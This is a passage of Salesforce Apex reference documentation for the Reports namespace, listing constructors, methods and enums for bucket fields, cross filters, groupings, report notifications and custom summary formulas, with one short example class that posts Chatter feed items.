setLabel(label)
Sets the user-facing name of the bucket.
Signature
public void setLabel(String label)
Parameters
label
Type: String
Return Value
Type: void
setNullTreatedAsZero(nullTreatedAsZero)
Specifies whether null values in the bucket are converted to zero (true) or not (false).
Signature
public void setNullTreatedAsZero(Boolean nullTreatedAsZero)
Parameters
nullTreatedAsZero
Type: Boolean
1910
BucketField ClassReference
Return Value
Type: void
setOtherBucketLabel(otherBucketLabel)
Sets the name of the fields grouped as Other (in buckets of BucketType PICKLIST).
Signature
public void setOtherBucketLabel(String otherBucketLabel)
Parameters
otherBucketLabel
Type: String
Return Value
Type: void
setSourceColumnName(sourceColumnName)
Specifies the name of the bucketed field.
Signature
public void setSourceColumnName(String sourceColumnName)
Parameters
sourceColumnName
Type: String
Return Value
Type: void
setValues(values)
Specifies which type of values are included in the bucket.
Signature
public void setValues(List<Reports.BucketFieldValue> values)
Parameters
values
Type: List on page 2352<Reports.BucketFieldValue>
1911
BucketField ClassReference
Return Value
Type: void
toString()
Returns a string.
Signature
public String toString()
Return Value
Type: String
BucketFieldValue Class
Contains information about the report values included in a bucket field.
Namespace
Reports
IN THIS SECTION:
BucketFieldValue Constructors
BucketFieldValue Methods
BucketFieldValue Constructors
The following are constructors for BucketFieldValue.
IN THIS SECTION:
BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)
Creates an instance of the Reports.BucketFieldValue class using the specified parameters.
BucketFieldValue()
Creates an instance of the Reports.BucketFieldValue class. You can then set values by using the class’s set methods.
BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)
Creates an instance of the Reports.BucketFieldValue class using the specified parameters.
Signature
public BucketFieldValue(String label, List<String> sourceDimensionValues, Double
rangeUpperBound)
1912
BucketFieldValue ClassReference
Parameters
label
Type: String
The user-facing name of the bucket.
sourceDimensionValues
Type: List on page 2352<String>
A list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).
rangeUpperBound
Type: Double
The greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).
BucketFieldValue()
Creates an instance of the Reports.BucketFieldValue class. You can then set values by using the class’s set methods.
Signature
public BucketFieldValue()
BucketFieldValue Methods
The following are methods for BucketFieldValue.
IN THIS SECTION:
getLabel()
Returns the user-facing name of the bucket category.
getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).
getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of
type TEXT).
setLabel(label)
Set the user-facing name of the bucket category.
setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).
setSourceDimensionValues(sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type
TEXT).
toString()
Returns a string.
1913
BucketFieldValue ClassReference
getLabel()
Returns the user-facing name of the bucket category.
Signature
public String getLabel()
Return Value
Type: String
getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).
Signature
public Double getRangeUpperBound()
Return Value
Type: Double
getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type
TEXT).
Signature
public List<String> getSourceDimensionValues()
Return Value
Type: List<String>
setLabel(label)
Set the user-facing name of the bucket category.
Signature
public void setLabel(String label)
Parameters
label
Type: String
1914
BucketFieldValue ClassReference
Return Value
Type: void
setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).
Signature
public void setRangeUpperBound(Double rangeUpperBound)
Parameters
rangeUpperBound
Type: Double
Return Value
Type: void
setSourceDimensionValues(sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).
Signature
public void setSourceDimensionValues(List<String> sourceDimensionValues)
Parameters
sourceDimensionValues
Type: List<String>
Return Value
Type: void
toString()
Returns a string.
Signature
public String toString()
Return Value
Type: String
1915
BucketFieldValue ClassReference
BucketType Enum
The types of values included in a bucket.
Enum Values
The following are the values of the Reports.BucketType enum.
DescriptionValue
Numeric valuesNUMBER
Picklist valuesPICKLIST
String valuesTEXT
ColumnDataType Enum
The Reports.ColumnDataType enum describes the type of data in a column. It is returned by the getDataType method.
Namespace
Reports
Enum Values
The following are the values of the Reports.ColumnDataType enum.
DescriptionValue
Boolean (true or false) valuesBOOLEAN_DATA
Comboboxes, which provide a set of enumerated values and enable the user to
specify a value that is not in the list
COMBOBOX_DATA
Currency valuesCURRENCY_DATA
DateTime valuesDATETIME_DATA
Date valuesDATE_DATA
Double valuesDOUBLE_DATA
Email addressesEMAIL_DATA
An object’s Salesforce IDID_DATA
Integer valuesINT_DATA
Multi-select picklists, which provide a set of enumerated values from which multiple
values can be selected
MULTIPICKLIST_DATA
Percent valuesPERCENT_DATA
1916
BucketType EnumReference
DescriptionValue
Phone numbers. Values can include alphabetic characters. Client applications are
responsible for phone number formatting.
PHONE_DATA
Single-select picklists, which provide a set of enumerated values from which only
one value can be selected
PICKLIST_DATA
Cross-references to another object, analogous to a foreign key fieldREFERENCE_DATA
String valuesSTRING_DATA
String values that are displayed as multiline text fieldsTEXTAREA_DATA
Time valuesTIME_DATA
URL values that are displayed as hyperlinksURL_DATA
ColumnSortOrder Enum
The Reports.ColumnSortOrder enum describes the order that the grouping column uses to sort data.
Namespace
Reports
Usage
The GroupingInfo.getColumnSortOrder() method returns a Reports.ColumnSortOrder enum value. The
GroupingInfo.setColumnSortOrder() method takes the enum value as an argument.
Enum Values
The following are the values of the Reports.ColumnSortOrder enum.
DescriptionValue
Sort data in ascending order (A–Z)ASCENDING
Sort data in descending order (Z–A)DESCENDING
CrossFilter Class
Contains methods and constructors used to work with information about a cross filter.
Namespace
Reports
1917
ColumnSortOrder EnumReference
IN THIS SECTION:
CrossFilter Constructors
CrossFilter Methods
CrossFilter Constructors
The following are constructors for CrossFilter.
IN THIS SECTION:
CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity, relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.
CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the class’s set methods.
CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity,
relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.
Signature
public CrossFilter(List<Reports.ReportFilter> criteria, Boolean includesObject, String
primaryEntityField, String relatedEntity, String relatedEntityJoinField)
Parameters
criteria
Type: List<Reports.ReportFilter>
Information about how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
includesObject
Type: Boolean
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).
primaryEntityField
Type: String
The name of the object on which the cross filter is evaluated.
relatedEntity
Type: String
The name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
relatedEntityJoinField
Type: String
The name of the field used to join the primaryEntityField and relatedEntity.
1918
CrossFilter ClassReference
CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the class’s set methods.
Signature
public CrossFilter()
CrossFilter Methods
The following are methods for CrossFilter.
IN THIS SECTION:
getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary
entity is evaluated against.
getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.
getPrimaryEntityField()
Returns the name of the object on which the cross filter is evaluated.
getRelatedEntity()
Returns name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
getRelatedEntityJoinField()
Returns the name of the field used to join the primaryEntityField and relatedEntity.
setCriteria(criteria)
Specifis how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
setIncludesObject(includesObject)
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).
setPrimaryEntityField(primaryEntityField)
Specifies the name of the object on which the cross filter is evaluated.
setRelatedEntity(relatedEntity)
Specifies the name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.
toString()
Returns a string.
getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary
entity is evaluated against.
1919
CrossFilter ClassReference
Signature
public List<Reports.ReportFilter> getCriteria()
Return Value
Type: List<Reports.ReportFilter>
getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.
Signature
public Boolean getIncludesObject()
Return Value
Type: Boolean
getPrimaryEntityField()
Returns the name of the object on which the cross filter is evaluated.
Signature
public String getPrimaryEntityField()
Return Value
Type: String
getRelatedEntity()
Returns name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
Signature
public String getRelatedEntity()
Return Value
Type: String
getRelatedEntityJoinField()
Returns the name of the field used to join the primaryEntityField and relatedEntity.
Signature
public String getRelatedEntityJoinField()
1920
CrossFilter ClassReference
Return Value
Type: String
setCriteria(criteria)
Specifis how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
Signature
public void setCriteria(List<Reports.ReportFilter> criteria)
Parameters
criteria
Type: List<Reports.ReportFilter>
Return Value
Type: void
setIncludesObject(includesObject)
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).
Signature
public void setIncludesObject(Boolean includesObject)
Parameters
includesObject
Type: Boolean
Return Value
Type: void
setPrimaryEntityField(primaryEntityField)
Specifies the name of the object on which the cross filter is evaluated.
Signature
public void setPrimaryEntityField(String primaryEntityField)
Parameters
primaryEntityField
Type: String
1921
CrossFilter ClassReference
Return Value
Type: void
setRelatedEntity(relatedEntity)
Specifies the name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
Signature
public void setRelatedEntity(String relatedEntity)
Parameters
relatedEntity
Type: String
Return Value
Type: void
setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.
Signature
public void setRelatedEntityJoinField(String relatedEntityJoinField)
Parameters
relatedEntityJoinField
Type: String
Return Value
Type: void
toString()
Returns a string.
Signature
public String toString()
Return Value
Type: String
1922
CrossFilter ClassReference
CsfGroupType Enum
The group level at which the custom summary format aggregate is displayed in a report.
Enum Values
The following are the values of the Reports.CsfGroupType enum.
DescriptionValue
The aggregate is displayed at the end of every summary row.ALL
The aggregate is displayed at specified grouping levels.CUSTOM
The aggregate is displayed only at the grand total level.GRAND_TOTAL
DateGranularity Enum
The Reports.DateGranularity enum describes the date interval that is used for grouping.
Namespace
Reports
Usage
The GroupingInfo.getDateGranularity method returns a Reports.DateGranularity enum value. The
GroupingInfo.setDateGranularity method takes the enum value as an argument.
Enum Values
The following are the values of the Reports.DateGranularity enum.
DescriptionValue
The day of the week (Monday–Sunday)DAY
The day of the month (1–31)DAY_IN_MONTH
The fiscal periodFISCAL_PERIOD
The fiscal quarterFISCAL_QUARTER
The fiscal weekFISCAL_WEEK
The fiscal yearFISCAL_YEAR
The month (January–December)MONTH
The month number (1–12)MONTH_IN_YEAR
No date groupingNONE
1923
CsfGroupType EnumReference
DescriptionValue
The quarter number (1–4)QUARTER
The week number (1–52)WEEK
The year number (####)YEAR
DetailColumn Class
Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.
Namespace
Reports
DetailColumn Instance Methods
The following are instance methods for DetailColumn. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the detail column field.
getLabel()
Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed
data.
getDataType()
Returns the data type of a detail column field.
getName()
Returns the unique API name of the detail column field.
Syntax
public String getName()
Return Value
Type: String
getLabel()
Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed data.
Syntax
public String getLabel()
1924
DetailColumn ClassReference
Return Value
Type: String
getDataType()
Returns the data type of a detail column field.
Syntax
public Reports.ColumnDataType getDataType()
Return Value
Type: Reports.ColumnDataType
Dimension Class
Contains information for each row or column grouping.
Namespace
Reports
Dimension Methods
The following are methods for Dimension. All are instance methods.
IN THIS SECTION:
getGroupings()
Returns information for each row or column grouping as a list.
getGroupings()
Returns information for each row or column grouping as a list.
Syntax
public List<Reports.GroupingValue> getGroupings()
Return Value
Type: List<Reports.GroupingValue>
EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the
operator, and the value that the aggregate is compared to.
1925
Dimension ClassReference
Namespace
Reports
IN THIS SECTION:
EvaluatedCondition Constructors
EvaluatedCondition Methods
EvaluatedCondition Constructors
The following are constructors for EvaluatedCondition.
IN THIS SECTION:
EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue, displayCompareTo, displayValue, operator)
Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.
EvaluatedCondition(aggregateName, aggregateLabel, compareToValue,
aggregateValue, displayCompareTo, displayValue, operator)
Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.
Signature
public EvaluatedCondition(String aggregateName, String aggregateLabel, Double
compareToValue, Double aggregateValue, String displayCompareTo, String displayValue,
Reports.EvaluatedConditionOperator operator)
Parameters
aggregateName
Type: String
The unique API name of the aggregate.
aggregateLabel
Type: String
The localized display name of the aggregate.
compareToValue
Type: Double
The value that the aggregate is compared to in the condition.
aggregateValue
Type: Double
The actual value of the aggregate when the report is run.
displayCompareTo
Type: String
1926
EvaluatedCondition ClassReference
The value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency is
$20.00 or USD20.00 instead of 20.00.
displayValue
Type: String
The value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00 or
USD20.00 instead of 20.00.
operator
Type: Reports.EvaluatedConditionOperator
The operator used in the condition.
EvaluatedCondition Methods
The following are methods for EvaluatedCondition.
IN THIS SECTION:
getAggregateLabel()
Returns the localized display name of the aggregate.
getAggregateName()
Returns the unique API name of the aggregate.
getCompareTo()
Returns the value that the aggregate is compared to in the condition.
getDisplayCompareTo()
Returns the value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency
is $20.00 or USD20.00 instead of 20.00.
getDisplayValue()
Returns the value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00
or USD20.00 instead of 20.00.
getOperator()
Returns the operator used in the condition.
getValue()
Returns the actual value of the aggregate when the report is run.
getAggregateLabel()
Returns the localized display name of the aggregate.
Signature
public String getAggregateLabel()
Return Value
Type: String
1927
EvaluatedCondition ClassReference
getAggregateName()
Returns the unique API name of the aggregate.
Signature
public String getAggregateName()
Return Value
Type: String
getCompareTo()
Returns the value that the aggregate is compared to in the condition.
Signature
public Double getCompareTo()
Return Value
Type: Double
getDisplayCompareTo()
Returns the value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency
is $20.00 or USD20.00 instead of 20.00.
Signature
public String getDisplayCompareTo()
Return Value
Type: String
getDisplayValue()
Returns the value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00 or
USD20.00 instead of 20.00.
Signature
public String getDisplayValue()
Return Value
Type: String
1928
EvaluatedCondition ClassReference
getOperator()
Returns the operator used in the condition.
Signature
public Reports.EvaluatedConditionOperator getOperator()
Return Value
Type: Reports.EvaluatedConditionOperator
getValue()
Returns the actual value of the aggregate when the report is run.
Signature
public Double getValue()
Return Value
Type: Double
EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to a
value. It is returned by the getOperator method.
Namespace
Reports
Enum Values
The following are the values of the Reports.EvaluatedConditionOperator enum.
DescriptionValue
Equality operator.EQUAL
Greater than operator.GREATER_THAN
Greater than or equal to operator.GREATER_THAN_EQUAL
Less than operator.LESS_THAN
Less than or equal to operator.LESS_THAN_EQUAL
Inequality operator.NOT_EQUAL
1929
EvaluatedConditionOperator EnumReference
FilterOperator Class
Contains information about a filter operator, such as display name and API name.
Namespace
Reports
FilterOperator Methods
The following are methods for FilterOperator. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the
column being filtered.
getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered. For example multipicklist fields can use the following filter operators: “equals,” “not equal to,” “includes,” and
“excludes.” Bucket fields are considered to be of the String type.
getLabel()
Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered.
Syntax
public String getLabel()
Return Value
Type: String
getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered. For example multipicklist fields can use the following filter operators: “equals,” “not equal to,” “includes,” and
“excludes.” Bucket fields are considered to be of the String type.
Syntax
public String getName()
Return Value
Type: String
1930
FilterOperator ClassReference
FilterValue Class
Contains information about a filter value, such as the display name and API name.
Namespace
Reports
FilterValue Methods
The following are methods for FilterValue. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.
getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.
getLabel()
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.
Syntax
public String getLabel()
Return Value
Type: String
getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column being
filtered.
Syntax
public String getName()
Return Value
Type: String
1931
FilterValue ClassReference
FormulaType Enum
The format of the numbers in a custom summary formula.
Enum Values
The following are the values of the Reports.FormulaType enum.
DescriptionValue
Formatted as currency. For example, $100.00.CURRENCY
Formatted as numbers. For example, 100.NUMBER
Formatted as percentages. For example, 100%.PERCENT
GroupingColumn Class
Contains methods for describing fields that are used for column grouping.
Namespace
Reports
The GroupingColumn class provides basic information about column grouping fields. The GroupingInfo class includes
additional methods for describing and updating grouping fields.
GroupingColumn Methods
The following are methods for GroupingColumn. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the field or bucket field that is used for column grouping.
getLabel()
Returns the localized display name of the field that is used for column grouping.
getDataType()
Returns the data type of the field that is used for column grouping.
getGroupingLevel()
Returns the level of grouping for the column.
getName()
Returns the unique API name of the field or bucket field that is used for column grouping.
Syntax
public String getName()
1932
FormulaType EnumReference
Return Value
Type: String
getLabel()
Returns the localized display name of the field that is used for column grouping.
Syntax
public String getLabel()
Return Value
Type: String
getDataType()
Returns the data type of the field that is used for column grouping.
Syntax
public Reports.ColumnDataType getDataType()
Return Value
Type: Reports.ColumnDataType
getGroupingLevel()
Returns the level of grouping for the column.
Syntax
public Integer getGroupingLevel()
Return Value
Type: Integer
Usage
•In a summary report, 0, 1, or 2 indicates grouping at the first, second, or third row level.
•In a matrix report, 0 or 1 indicates grouping at the first or second row or column level.
GroupingInfo Class
Contains methods for describing fields that are used for grouping.
1933
GroupingInfo ClassReference
Namespace
Reports
GroupingInfo Methods
The following are methods for GroupingInfo. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the field or bucket field that is used for row or column grouping.
getSortOrder()
Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).
getDateGranularity()
Returns the date interval that is used for row or column grouping.
getSortAggregate()
Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a
grouping is not sorted by a summary field.
getName()
Returns the unique API name of the field or bucket field that is used for row or column grouping.
Syntax
public String getName()
Return Value
Type: String
getSortOrder()
Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).
Syntax
public Reports.ColumnSortOrder getSortOrder()
Return Value
Type: Reports.ColumnSortOrder
getDateGranularity()
Returns the date interval that is used for row or column grouping.
1934
GroupingInfo ClassReference
Syntax
public Reports.DateGranularity getDateGranularity()
Return Value
Type: Reports.DateGranularity
getSortAggregate()
Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a grouping
is not sorted by a summary field.
Syntax
public String getSortAggregate()
Return Value
Type: String
GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.
Namespace
Reports
GroupingValue Methods
The following are methods for GroupingValue. All are instance methods.
IN THIS SECTION:
getGroupings()
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.
getKey()
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each
grouping.
getLabel()
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.
getValue()
Returns the value of the field that is used as a row or column grouping.
getGroupings()
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.
1935
GroupingValue ClassReference
Syntax
public LIST<Reports.GroupingValue> getGroupings()
Return Value
Type: List<Reports.GroupingValue>
getKey()
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each
grouping.
Syntax
public String getKey()
Return Value
Type: String
getLabel()
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.
Syntax
public String getLabel()
Return Value
Type: String
getValue()
Returns the value of the field that is used as a row or column grouping.
Syntax
public Object getValue()
Return Value
Type: Object
Usage
The value depends on the field’s data type.
•Currency fields:
–amount: Of type currency. A data cell’s value.
1936
GroupingValue ClassReference
–currency: Of type picklist. The ISO 4217 currency code, if available; for example, USD for US dollars or CNY for Chinese yuan.
(If the grouping is on the converted currency, this value is the currency code for the report and not for the record.)
•Picklist fields: API name. For example, a custom picklist field—Type of Business with values 1, 2, and 3 for Consulting,
Services, and Add-On Business respectively—has 1, 2, or 3 as the grouping value.
•ID fields: API name.
•Record type fields: API name.
•Date and time fields: Date or time in ISO-8601 format.
•Lookup fields: Unique API name. For example, for the Opportunity Owner lookup field, the ID of each opportunity owner’s
Chatter profile page can be a grouping value.
NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.
Namespace
Reports
Usage
Report notifications for reports that users have subscribed to can trigger a custom Apex class, which must implement the
Reports.NotificationAction interface. The execute method in this interface receives a
NotificationActionContext object as a parameter, which contains information about the report instance and the conditions
that must be met for a notification to be triggered.
IN THIS SECTION:
NotificationAction Methods
NotificationAction Example Implementation
NotificationAction Methods
The following are methods for NotificationAction.
IN THIS SECTION:
execute(context)
Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext.
The object contains information about the report instance and the conditions that must be met for a notification to be triggered.
The method executes whenever the specified conditions are met.
execute(context)
Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext.
The object contains information about the report instance and the conditions that must be met for a notification to be triggered. The
method executes whenever the specified conditions are met.
1937
NotificationAction InterfaceReference
Signature
public void execute(Reports.NotificationActionContext context)
Parameters
context
Type: Reports.NotificationActionContext
Return Value
Type: Void
NotificationAction Example Implementation
This is an example implementation of the Reports.NotificationAction interface.
public class AlertOwners implements Reports.NotificationAction {
public void execute(Reports.NotificationActionContext context) {
Reports.ReportResults results = context.getReportInstance().getReportResults();
for(Reports.GroupingValue g: results.getGroupingsDown().getGroupings()) {
FeedItem t = new FeedItem();
t.ParentId = (Id)g.getValue();
t.Body = 'This record needs attention. Please view the report.';
t.Title = 'Needs Attention: '+ results.getReportMetadata().getName();
t.LinkUrl = '/' + results.getReportMetadata().getId();
insert t;
}
}
}
NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.
Namespace
Reports
IN THIS SECTION:
NotificationActionContext Constructors
NotificationActionContext Methods
NotificationActionContext Constructors
The following are constructors for NotificationActionContext.
1938
NotificationActionContext ClassReference
IN THIS SECTION:
NotificationActionContext(reportInstance, thresholdInformation)
Creates a new instance of the Reports.NotificationActionContext class using the specified parameters.
NotificationActionContext(reportInstance, thresholdInformation)
Creates a new instance of the Reports.NotificationActionContext class using the specified parameters.
Signature
public NotificationActionContext(Reports.ReportInstance reportInstance,
Reports.ThresholdInformation thresholdInformation)
Parameters
reportInstance
Type: Reports.ReportInstance
An instance of a report.
thresholdInformation
Type: Reports.ThresholdInformation
The evaluated conditions for the notification.
NotificationActionContext Methods
The following are methods for NotificationActionContext.
IN THIS SECTION:
getReportInstance()
Returns the report instance associated with the notification.
getThresholdInformation()
Returns the threshold information associated with the notification.
getReportInstance()
Returns the report instance associated with the notification.
Signature
public Reports.ReportInstance getReportInstance()
Return Value
Type: Reports.ReportInstance
getThresholdInformation()
Returns the threshold information associated with the notification.
1939
NotificationActionContext ClassReference
Signature
public Reports.ThresholdInformation getThresholdInformation()
Return Value
Type: Reports.ThresholdInformation
ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).
Namespace
Reports
IN THIS SECTION:
ReportCsf Constructors
ReportCsf Methods
ReportCsf Constructors
The following are constructors for ReportCsf.
IN THIS SECTION:
ReportCsf(label, description, formulaType, decimalPlaces, downGroup, downGroupType, acrossGroup, acrossGroupType, formula)
Creates an instance of the Reports.ReportCsf class using the specified parameters.
ReportCsf()
Creates an instance of the Reports.ReportCsf class. You can then set values by using the class’s set methods.
ReportCsf(label, description, formulaType, decimalPlaces, downGroup,
downGroupType, acrossGroup, acrossGroupType, formula)
Creates an instance of the Reports.ReportCsf class using the specified parameters.
Signature
public ReportCsf(String label, String description, Reports.FormulaType formulaType,
Integer decimalPlaces, String downGroup, Reports.CsfGroupType downGroupType, String
acrossGroup, Reports.CsfGroupType acrossGroupType, String formula)
Parameters
label
Type: String
The user-facing name of the custom summary formula.
1940
ReportCsf ClassReference
description
Type: String
The user-facing description of the custom summary formula.
formulaType
Type: Reports.FormulaType
The format of the numbers in the custom summary formula.
decimalPlaces
Type: Integer
The number of decimal places to include in numbers.
downGroup
Type: String
The name of a row grouping when the downGroupType is CUSTOM; null otherwise.
downGroupType
Type: Reports.CsfGroupType
Where to display the aggregate of the custom summary formula.
acrossGroup
Type: String
The name of a column grouping when the accrossGroupType is CUSTOM; null otherwise.
acrossGroupType
Type: Reports.CsfGroupType
Where to display the aggregate of the custom summary formula.
formula
Type: String
The operations performed on values in the custom summary formula.
ReportCsf()
Creates an instance of the Reports.ReportCsf class. You can then set values by using the class’s set methods.
Signature
public ReportCsf()
ReportCsf Methods
The following are methods for ReportCsf.
IN THIS SECTION:
getAcrossGroup()
Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.
getAcrossGroupType()
Returns where to display the aggregate.
1941
ReportCsf ClassReference
getDecimalPlaces()
Returns the number of decimal places that numbers in the custom summary formula have.
getDescription()
Returns the user-facing description of a custom summary formula.
getDownGroup()
Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.
getDownGroupType()
Returns where to display the aggregate of the custom summary formula.
getFormula()
Returns the operations performed on values in the custom summary formula.
getFormulaType()
Returns the formula type.
getLabel()
Returns the user-facing name of the custom summary formula.
setAcrossGroup(acrossGroup)
Specifies the column for the across grouping.
setAcrossGroupType(value)
Sets where to display the aggregate.
setAcrossGroupType(acrossGroupType)
Sets where to display the aggregate.
setDecimalPlaces(decimalPlaces)
Sets the number of decimal places in numbers.
setDescription(description)
Sets the user-facing description of the custom summary formula.
setDownGroup(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.
setDownGroupType(value)
Sets where to display the aggregate.
setDownGroupType(downGroupType)
Sets where to display the aggregate.
setFormula(formula)
Sets the operations to perform on values in the custom summary formula.
setFormulaType(value)
Sets the format of the numbers in the custom summary formula.
setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.
setLabel(label)
Sets the user-facing name of the custom summary formula.
toString()
Returns a string.
1942
ReportCsf ClassReference
getAcrossGroup()
Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.
Signature
public String getAcrossGroup()
Return Value
Type: String
getAcrossGroupType()
Returns where to display the aggregate.
Signature
public Reports.CsfGroupType getAcrossGroupType()
Return Value
Type: Reports.CsfGroupType
getDecimalPlaces()
Returns the number of decimal places that numbers in the custom summary formula have.
Signature
public Integer getDecimalPlaces()
Return Value
Type: Integer
getDescription()
Returns the user-facing description of a custom summary formula.
Signature
public String getDescription()
Return Value
Type: String
getDownGroup()
Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.
1943
ReportCsf ClassReference
Signature
public String getDownGroup()
Return Value
Type: String
getDownGroupType()
Returns where to display the aggregate of the custom summary formula.
Signature
public Reports.CsfGroupType getDownGroupType()
Return Value
Type: Reports.CsfGroupType
getFormula()
Returns the operations performed on values in the custom summary formula.
Signature
public String getFormula()
Return Value
Type: String
getFormulaType()
Returns the formula type.
Signature
public Reports.FormulaType getFormulaType()
Return Value
Type: Reports.FormulaType
getLabel()
Returns the user-facing name of the custom summary formula.
Signature
public String getLabel()
1944
ReportCsf ClassReference
Return Value
Type: String
setAcrossGroup(acrossGroup)
Specifies the column for the across grouping.
Signature
public void setAcrossGroup(String acrossGroup)
Parameters
acrossGroup
Type: String
Return Value
Type: void
setAcrossGroupType(value)
Sets where to display the aggregate.
Signature
public void setAcrossGroupType(String value)
Parameters
value
Type: String
For possible values, see Reports.CsfGroupType.
Return Value
Type: void
setAcrossGroupType(acrossGroupType)
Sets where to display the aggregate.
Signature
public void setAcrossGroupType(Reports.CsfGroupType acrossGroupType)
Parameters
acrossGroupType
Type: Reports.CsfGroupType
1945
ReportCsf ClassReference
Return Value
Type: void
setDecimalPlaces(decimalPlaces)
Sets the number of decimal places in numbers.
Signature
public void setDecimalPlaces(Integer decimalPlaces)
Parameters
decimalPlaces
Type: Integer
Return Value
Type: void
setDescription(description)
Sets the user-facing description of the custom summary formula.
Signature
public void setDescription(String description)
Parameters
description
Type: String
Return Value
Type: void
setDownGroup(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.
Signature
public void setDownGroup(String downGroup)
Parameters
downGroup
Type: String
1946
ReportCsf ClassReference
Return Value
Type: void
setDownGroupType(value)
Sets where to display the aggregate.
Signature
public void setDownGroupType(String value)
Parameters
value
Type: String
For valid values, see Reports.CsfGroupType.
Return Value
Type: void
setDownGroupType(downGroupType)
Sets where to display the aggregate.
Signature
public void setDownGroupType(Reports.CsfGroupType downGroupType)
Parameters
downGroupType
Type: Reports.CsfGroupType
Return Value
Type: void
setFormula(formula)
Sets the operations to perform on values in the custom summary formula.
Signature
public void setFormula(String formula)
Parameters
formula
Type: String
1947
ReportCsf ClassReference
Return Value
